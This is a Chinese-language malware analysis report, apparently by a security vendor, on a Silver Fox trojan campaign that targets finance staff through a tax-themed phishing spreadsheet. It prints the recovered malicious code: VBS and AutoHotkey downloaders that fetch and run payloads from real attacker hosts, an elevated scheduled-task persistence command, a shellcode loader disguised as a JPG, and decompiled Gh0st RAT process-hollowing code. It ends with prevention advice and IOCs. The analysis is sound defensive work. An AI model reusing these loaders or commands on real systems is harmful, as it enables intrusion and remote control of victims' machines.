警惕!银狐木马再现新手法

概述

  近日瑞星威胁情报平台捕获到一起银狐木马的攻击事件,发现该木马最近再次更新了攻击手法,故此针对此次捕获的样本进行分析说明。银狐木马主要通过钓鱼网页、即时通讯软件、通过竞价排名伪装常用软件诱导下载等方式进行传播,主要针对企事业单位的财务、会计、销售等职工以获取非法利益,其攻击手法比较多变而且更新频繁一切目的只为加载最终载荷以实现对目标计算机的远程控制,以实施下一步的诈骗步骤,本次捕获样本便是我们监控到的其最新攻击活动。

事件详情

  此次捕获的初始样本为一封钓鱼表格,其名称为(六月)偷-漏涉-稅-违规企业名单公示.xlsx,点开之后的内容也具有很强的诱导性,从内容不难推断出主要针对财务、会计方向从业人员,用于欺骗点击内嵌指向www.shuiwutl2.cn的超链接下载后续组件

image

攻击流程

  攻击者通过投递钓鱼邮件诱导用户点击前往钓鱼网页下载压缩包并解压运行,并对恶意asp脚本做了一定混淆,通过其从c2拉取后续恶意AutoHotKey脚本及运行组件,最终利用这些脚本文件布置最终的Gh0st木马以实现对相关信息的进一步窃取,这种手法相对隐蔽且能有效诱导用户点击运行并顺利加载最终载荷以完成攻击者的最终目的。

image

样本分析

下载并执行(初始载荷):Index.asp

字段 内容
原始文件名 Index.asp
文件大小 636KB
文件MD5 9C9253B0CB78EA2C5A76CAEEFDAC5960
文件类型 ASP
病毒名 Downloader.Agent/VBS!1.FD09
主要功能 下载后续载荷并运行

访问钓鱼网站后会自动下载一个zip压缩包,解压后内部包含两个文件

image

其中重点稽查企业名单-终端 .exe实则为重命名的NetBox应用,运行后会加载同目录下的Index.asp文件,该文件内嵌恶意VBS脚本,且文件本身填充了大量空格,用于迷惑分析人员

Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists("C:\Users\Public\Music\Update") Then
    fso.CreateFolder("C:\Users\Public\Music\Update")
End If
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists("C:\Users\Public\Music\Update\AutoHotkey") Then
    fso.CreateFolder("C:\Users\Public\Music\Update\AutoHotkey")
End If
Url = "http://xingyuqiang1688.vip/AHK.exe"  
FileName = "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe"  
set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(FileName) then
    set x = CreateObject("Microsoft.XMLHTTP")  
    x.Open "GET", Url, False  
    x.Send  
    With CreateObject("ADODB.Stream")  
        .Type = 1 'Binary  
        .Open  
        .Write x.ResponseBody  
        .SaveToFile FileName  
    End With 
end if
Url = "http://43.135.72.124/Run.ahk"  
FileName = "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk"  
set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(FileName) then
    set x = CreateObject("Microsoft.XMLHTTP")  
    x.Open "GET", Url, False  
    x.Send  
    With CreateObject("ADODB.Stream")  
        .Type = 1 'Binary  
        .Open  
        .Write x.ResponseBody  
        .SaveToFile FileName  
    End With 
end if
Url = "http://xingyuqiang1688.vip/1.ahk"  
FileName = "C:\Users\Public\Music\Update\AutoHotkey\1.ahk"  
set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(FileName) then
    set x = CreateObject("Microsoft.XMLHTTP")  
    x.Open "GET", Url, False  
    x.Send  
    With CreateObject("ADODB.Stream")  
        .Type = 1 'Binary  
        .Open  
        .Write x.ResponseBody  
        .SaveToFile FileName  
    End With 
end if

加载的脚本主要功能为到xingyuqiang1688.vip以及43.135.72.124处下载后续载荷AHK.exeRun.ahk1.ahkC:\Users\Public\Music\Update\AutoHotkey文件路径中,如不存在则创建该路径,并将AHK.exeRun.ahk分别重命名为AutoHotkey.exeAutoHotkey.ahk,最后通过创建WScript.Shell对象运行cmd1.ahk作为AutoHotkey.exe的参数执行载荷

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /C C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe C:\Users\Public\Music\Update\AutoHotkey\1.ahk", 0, True

32/64位自适应:1.ahk

字段 内容
原始文件名 1.ahk
文件大小 626KB
文件MD5 7B7A654E99F2B96C0EE114CD49BACF9A
文件类型 AutoHotkey脚本
病毒名 Trojan.ShellCodeLoader/AHK!1.FD0B
主要功能 解密执行AutoHotkey.ahk并自删除

1.ahk的主要内容为判断系统为32或64位从而使用对应的版本的shellcode解密运行自带载荷

    hex:=A_PtrSize=8 ? x64:x32
    VarSetCapacity(MyFunc, len:=StrLen(hex)//2)
    Loop, % len
      NumPut("0x" SubStr(hex,2*A_Index-1,2),MyFunc,A_Index-1,"uchar")
    DllCall("VirtualProtect","ptr",&MyFunc,"ptr",len,"uint",0x40,"ptr*",0)
    base:=DllCall("GetModuleHandle", "Str","Kernel32", "ptr")
    ScriptName:=ScriptName ? ScriptName : A_ScriptFullPath
  }
  Random, n, 1, 1000000
  pipe_name:="\\.\pipe\AHK" . A_TickCount . n
  cmdline="%Ahk%" "%pipe_name%" "%ScriptName%" %arg%
  DllCall(&MyFunc, "AStr",cmdline, "AStr",pipe_name
  , "ptr",base, "ptr",&str, "uint",size)
  return, 1

shellcode中解密载荷后带参创建自身进程通过管道写入解密的载荷执行

image

在循环四次上述过程后得到最终的执行语句,作用为以管理员权限执行同目录下的AutoHotkey.ahk后自删除,并将执行窗口隐藏

#NoTrayIcon 
Run, *RunAs %comspec% /c start C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk&del C:\Users\Public\Music\Update\AutoHotkey\1.ahk, , Hide
;
ExitApp
#SingleInstance off

持久化及进一步下载:Run.ahk

字段 内容
原始文件名 Run.ahk
文件大小 1140KB
文件MD5 49071B451329B2966769E35C7B75EDC4
文件类型 AutoHotkey脚本
病毒名 Trojan.ShellCodeLoader/AHK!1.FD0B
主要功能 自删除、创建计划任务、下载并执行后续组件

AutoHotkey.ahk执行也如上述一般循环四次解密后得到最终执行语句,作用为在创建后续所需的文件目录后自删除,并以管理员权限通过schtasks创建名为AHK的计划任务并设置为登录时运行,执行上述释放到C:\Users\Public\Music\Update\AutoHotkey目录下的AutoHotkey.exe,以执行恶意AutoHotKey脚本文件实现权限维持。

FileCreateDir, C:\Users\Public\Music\Update\AutoHotkey
FileCreateDir, C:\Users\Public\Bandizip\langs
FileCreateDir, C:\Users\Public\Bandizip\data
FileCreateDir, C:\Users\Public\Music\python
RunWait,cmd /C del C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk, , Hide
Run, *RunAs %comspec% /c schtasks /create /sc onlogon /tn AHK /rl highest /tr "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe" /F&del C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk&del C:\Users\Public\AutoHotkey\Run8.txt , , Hide

并通过xingyuqiang1688.vip43.135.72.124下载一系列后续加载载荷所需组件,如py.rarBandizip.exe及其配置组件、新的AutoHotkey.ahk等文件

url := "http://43.135.120.185/py.rar"
localFile := "C:\Users\Public\Music\python\py.rar"
UrlDownloadToFile, %url%, %localFile%

url := "http://43.135.72.124/qd.jpg"
localFile := "C:\Users\Public\Music\python\qd.jpg"
UrlDownloadToFile, %url%, %localFile%

url := "http://43.135.72.124/qd.zip"
localFile := "C:\Users\Public\Music\python\qd.zip"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/qd.ahk"
localFile := "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/data/resource.data"
localFile := "C:\Users\Public\Bandizip\data\resource.data"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/data/web32.exe"
localFile := "C:\Users\Public\Bandizip\data\web32.exe"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/langs/English.lang"
localFile := "C:\Users\Public\Bandizip\langs\English.lang"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/ark.x64.dll"
localFile := "C:\Users\Public\Bandizip\ark.x64.dll"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/Bandizip.exe"
localFile := "C:\Users\Public\Bandizip\Bandizip.exe"
UrlDownloadToFile, %url%, %localFile%

url := "http://xingyuqiang1688.vip/config.ini"
localFile := "C:\Users\Public\Bandizip\config.ini"
UrlDownloadToFile, %url%, %localFile%

下载完成后通过Bandizip带密码Ly解压下载的py.rar到其同目录下,之后通过解压出的pythonw.exe运行qd.jpg,随后将py.zip删除。

RunWait,C:\Users\Public\Bandizip\Bandizip.exe x -y -o:C:\Users\Public\Music\python -p:Ly C:\Users\Public\Music\python\py.rar , , Hide
randomString := ""
Lenght := rand(1,10) 
Loop, %Lenght%
{
    Random, char, 48, 122 
    If (char > 57 && char < 65) || (char > 90 && char < 97) 
        Continue
    randomString .= Chr(char) 
}
FileAppend, %randomString%, C:\Users\Public\Music\python\qd.jpg

rand(min, max) {
    Random, rand, min, max
    return rand
}
RunWait, %comspec% /c start C:\Users\Public\Music\python\pythonw.exe C:\Users\Public\Music\python\qd.jpg&del C:\Users\Public\Music\python\py.zip , , Hide

伪装成JPG的内存马加载器:qd.jpg

字段 内容
原始文件名 qd.jpg
文件大小 2KB
文件MD5 62B7AB7CA0AD36D43D65C7600A7834B6
文件类型 Python脚本
主要功能 下载后续载荷并运行

Python解释器运行的qd.jpg实则为python脚本,主要功能为解码base64编码的c2地址回连xingyuqiang1688.vip下载43.135.72.124.bin并加载执行

def main():
    encoded_url = "http://xingyuqiang1688.vip/43.135.72.124.bin"
    url = base64.b64decode(encoded_url).decode()
    while True:
        shellcode = download_binary_file(url)
        execute_shellcode(shellcode)

if __name__ == "__main__":
    main()

纯内存马:Gh0st远控

字段 内容
原始文件名 43.135.72.124.bin
文件大小 113KB
文件MD5 DF61AA6F8A269CA11044DFF61624FA4D
主要功能 实现远程控制、进程注入、注册表修改等功能

下载的载荷内部包含一个PE文件,经分析为魔改Gh0st远控

image

前段的shellcode主要用为内存加载其内部的Gh0st木马实现最终控制,回连服务器43.135.72.124端口6666

image

其使用的最终载荷具有创建Dump文件,注册表修改、创建傀儡进程、回连C2等待指令等功能

int __thiscall sub_406390(void *this)
{
  HMODULE LibraryW; // eax
  HMODULE v3; // edi
  HANDLE FileW; // ebx
  HANDLE CurrentProcess; // eax
  DWORD CurrentProcessId; // [esp-1Ch] [ebp-250h]
  int v8[3]; // [esp+8h] [ebp-22Ch] BYREF
  BOOL (__stdcall *MiniDumpWriteDump)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION); // [esp+14h] [ebp-220h]
  struct _SYSTEMTIME SystemTime; // [esp+18h] [ebp-21Ch] BYREF
  WCHAR FileName[260]; // [esp+28h] [ebp-20Ch] BYREF

  LibraryW = LoadLibraryW(L"DbgHelp.dll");
  v3 = LibraryW;
  if ( !LibraryW )
    return -1;
  MiniDumpWriteDump = (BOOL (__stdcall *)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION))GetProcAddress(LibraryW, "MiniDumpWriteDump");
  if ( !MiniDumpWriteDump )
  {
    FreeLibrary(v3);
    return -1;
  }
  memset(FileName, 0, sizeof(FileName));
  GetLocalTime(&SystemTime);
  wsprintfW(
    FileName,
    L"%s-%04d%02d%02d-%02d%02d%02d.dmp",
    L"!analyze -v",
    SystemTime.wYear,
    SystemTime.wMonth,
    SystemTime.wDay,
    SystemTime.wHour,
    SystemTime.wMinute,
    SystemTime.wSecond);
  FileW = CreateFileW(FileName, 0xC0000000, 3u, 0, 2u, 0, 0);
  if ( FileW == (HANDLE)-1 )
  {
    FreeLibrary(v3);
    return -1;
  }
  else
  {
    v8[1] = (int)this;
    v8[0] = GetCurrentThreadId();
    v8[2] = 0;
    CurrentProcessId = GetCurrentProcessId();
    CurrentProcess = GetCurrentProcess();
    MiniDumpWriteDump(
      CurrentProcess,
      CurrentProcessId,
      FileW,
      MiniDumpWithDataSegs,
      this != 0 ? (PMINIDUMP_EXCEPTION_INFORMATION)v8 : 0,
      0,
      0);
    CloseHandle(FileW);
    FreeLibrary(v3);
    return 1;
  }
}

修改注册表,根据其写入内容判断应当是其后续组件读取的配置内容

if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Console", 0, 0x20019u, &phkResult) )
      RegQueryValueExW(phkResult, L"IpDate", 0, &Type, 0, &cbData);
    if ( cbData > 0xA )
    {
      memset(a0Db0Lk0Hs0Ld0L, 0, 0x7D0u);
      RegQueryValueExW(phkResult, L"IpDate", 0, &Type, (LPBYTE)a0Db0Lk0Hs0Ld0L, &cbData);
      sub_405D70(L"p1:", Source, 0);
      sub_405D70(L"o1:", word_41C9F4, 0);
      sub_405D70(L"t1:", 0, (int)&dword_41CA30);
      sub_405D70(L"p2:", word_41CA34, 0);
      sub_405D70(L"o2:", word_41CC32, 0);
      sub_405D70(L"t2:", 0, (int)&dword_41CC70);
      sub_405D70(L"p3:", word_41CC74, 0);
      sub_405D70(L"o3:", word_41CE72, 0);
      sub_405D70(L"t3:", 0, (int)&dword_41CEB0);
      }

通过硬编码文件路径利用tracerpt.exe创建傀儡进程

GetSystemDirectoryA(Buffer, 0xFFu);
  Buffer[3] = 0;
  sub_4059F0("%s%s", Buffer, "Windows\\SysWOW64\\tracerpt.exe");
  if ( GetFileAttributesA(Buffer) == -1 )
  {
    Buffer[3] = 0;
    sub_4059F0("%s%s", Buffer, "Windows\\System32\\tracerpt.exe");
  }
  result = CreateProcessA(Buffer, 0, 0, 0, 0, 4u, 0, 0, &StartupInfo, a2);
  if ( result )
  {
    v3 = VirtualAllocEx(a2->hProcess, 0, a1, 0x3000u, 0x40u);
    if ( v3
      && WriteProcessMemory(a2->hProcess, v3, lpBuffer, a1, 0)
      && (hThread = a2->hThread, Context.ContextFlags = 65543, GetThreadContext(hThread, &Context))
      && (v5 = a2->hThread, Context.Eip = (DWORD)v3, SetThreadContext(v5, &Context)) )
    {
      ResumeThread(a2->hThread);
      return 1;
    }
    else
    {
      return 0;
    }
  }

根据其攻击手法以及最终载荷中的相似点都可以判断其为银狐家族的一员。

总结

  银狐木马自22年出现以来便不断活跃在我们的视线范围内,作为一个去中心化的传播的黑客工具其衍生出的各个团伙攻击手法与利用方式也在不断的变化着,本篇分析也仅是对其中一个组织的近期攻击手法详细分析,该组织的攻击方法也都是较为剑走偏锋与黑灰产圈风格非常相符,不过通常都较为有效,足以证明其背后应当有稳定的更新团队或者技术提供方。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

沦陷信标(IOC)

  • MD5

    DF61AA6F8A269CA11044DFF61624FA4D
    9C9253B0CB78EA2C5A76CAEEFDAC5960
    7B7A654E99F2B96C0EE114CD49BACF9A
    49071B451329B2966769E35C7B75EDC4
    539B6E91D0A92C999311E0D826315A07
    62B7AB7CA0AD36D43D65C7600A7834B6
  • Domain

    xingyuqiang1688.vip
    shuiwutl2.cn
  • IPV4

    43.135.72.124
    43.135.120.185

Author